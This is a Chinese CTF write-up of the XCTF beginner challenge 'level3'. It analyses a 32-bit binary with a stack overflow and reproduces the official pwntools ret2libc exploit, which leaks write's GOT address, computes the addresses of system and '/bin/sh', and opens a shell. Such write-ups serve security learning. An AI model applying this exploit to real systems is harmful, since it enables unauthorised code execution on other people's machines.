• 『攻防世界』:新手区 | level3


    解题先下载的文件为xxxx.gz
    $ gunzip level3.gz
    $ tar -zxvf level3.gz
    checksec level3 | file level3
    #动态链接的程

     没有canary 放进ida看一看

    没有后门函数,没有plt["system"],没有next(elf.search("/bin/sh")),但是有一个栈溢出漏洞

     同时下载的文件还附赠了libc文件一份,我觉的可以用程序中的write的地址和lic文件中的write地址计算出地址的偏移量,再通过偏移量得到/bin/sh 和 system在程序中的地址再构造payload 也许可以得到服务器的shell。

    发现开启了所有保护,大致思想为:libc里的地址是随机的,但是函数的相对地址是不变的,于是只需要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。

    先看看溢出需要填充的垃圾数据长度,gdb动态调试一下:得出垃圾数据长度为136+4

    04:0010│ ecx  0xffffc160 ◂— 'AAAA
    '
    05:00140xffffc164 ◂— 0xa /* '
    ' */
    ````
    25:00940xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3d5 ◂— '/home/zowie/Downloads/level3'
    26:0098│ ebp  0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0

    很痛苦,一直没有调试出来。查看了下writeup,和我思路是一样的,但是就是我的完成不了(官方wp下次再试,网站不能获取场景)

     这里贴上官方的wp

     1 #思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。
     2 
     3 #导入pwn模块
     4 from pwn import *
     5 
     6 #获取远程进程对象
     7 p=remote('',)
     8 
     9 #获取本地进程对象
    10 #p = process("./level3/level3")
    11 
    12 #获取文件对象
    13 elf=ELF('./level3')
    14 
    15 #获取lib库对象
    16 libc = ELF('./libc_32.so.6')
    17 
    18 #获取函数
    19 write_plt=elf.plt['write']
    20 write_got=elf.got['write']
    21 main_addr=elf.sym['main']
    22 
    23 #接收数据
    24 p.recvuntil(":
    ")
    25 
    26 #char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
    27 payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    28 p.sendline(payload)
    29 
    30 #获取write在got中的地址
    31 write_got_addr=u32(p.recv())
    32 print hex(write_got_addr)
    33 
    34 #计算lib库加载基址
    35 libc_base=write_got_addr-libc.sym['write']
    36 print hex(libc_base)
    37 
    38 #计算system的地址
    39 system_addr = libc_base+libc.sym['system']
    40 print hex(system_addr)
    41 
    42 #计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
    43 bin_sh_addr = libc_base + 0x15902b
    44 print hex(bin_sh_addr)
    45 
    46 #char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
    47 payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
    48 
    49 #接收数据
    50 p.recvuntil(":
    ")
    51 
    52 #发送payload
    53 p.sendline(payload2)
    54 
    55 #切换交互模式
    56 p.interactive()
  • 相关阅读:
    P3396 哈希冲突 分块
    大数据之路week01--自学之面向对象java(static,this指针(初稿))
    大数据之路week01--自学之集合_2(列表迭代器 ListIterator)
    大数据之路week01--自学之集合_2(List)
    大数据之路week01--自学之集合_2(Iterator迭代器)
    大数据之路week01--自学之集合_1(Collection)
    大数据之路day05_1--初识类、对象
    大数据之路day04_2--经典bug(equals与==比较不同,break的跳出不同)
    大数据之路day04_1--数组 and for循环进阶
    eclipse断点的使用---for循环举例
  • 原文地址:https://www.cnblogs.com/Zowie/p/13391995.html
Copyright © 2020-2023  润新知